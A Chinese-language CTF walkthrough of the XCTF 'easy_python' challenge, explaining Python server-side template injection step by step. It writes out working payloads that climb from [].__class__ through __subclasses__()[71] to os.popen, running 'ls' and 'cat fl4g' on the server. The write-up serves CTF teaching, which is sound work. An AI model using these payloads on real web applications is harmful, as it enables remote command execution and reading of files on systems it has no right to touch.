【攻防世界】 easy_python 模板注入1
Python 模板注入
拿到题目,直接告诉我们是 python template 问题,以 python 模板注入的角度切入。
对于很多网站,为了方便,都会套用一个 html 模板,模板会给一个接口,用 python 将这段代码以作为变量的形式套入进模板。
这里的模板注入就是,我们可以在这个变量里面注入我们想要的代码,获取到信息,注入的时候用花括号“{ {} }”包裹住 code。本题中,我们测试{ {1+5} }:
果不其然,代码执行了,返回了 6,接下来进行正式的注入,常见的注入方法有以下几种:
以下所有的方法均要被“__” 包裹
- __class__ : 返回对象所属的类。
- __mro__ : 返回基类元组。
- __base__:返回基类。
- __subclasses__()[]:返回子类。
- __init__ :初始化类。
- __globals[]__ : 对包含函数全局变量的字典的引用,说人话就是调用全局的包,如’os’等。
在注入之后我们通常使用两种方法来操控控制台获取信息:
- os.popen(“file_name”) :返回文件内容。
- os.system : 返回状态码。
开始操作,构造 [].__class__.__mro__ 并发送:
可以看到获取到了两个基类,我们选用 mro[1] 获取其中一个基类,然后再在这个基类里面调取他所有可用的子类,构造 [].__class__.__mro__[1].__subclasses__() 发送,获取到所有子类:
我们要找到 os.popen 的基类site._Printer类,用它来调用 popen,对此,我们先要找到 site._Printer在subclasses 中的索引,调用以下代码:
1 | str = " " #输入所有 subclasses 内容 |
获取到结果为 71,我们定位到 subclasses 中第71 个元素,并初始化这个类,调用他的全局变量 os 下的 popen 函数,这里使用‘ls’来查看所有文件。
于是构造 :
[].__class__.__mro__[1].__subclasses__()[71].__init__.__globals__[‘os’].popen(‘ls’).read()
获得结果:
这里用空格隔开了几个文件,发现了有fl4g文件,我们在 popen 里使用 cat fl4g去读他里面的内容(记得要用%20 代替空格,不然 url 不一定在 safari 有效)
[].__class__.__mro__[1].__subclasses__()[71].__init__.__globals__[‘os’].popen(‘cat%20fl4g’’).read()
得到 flag: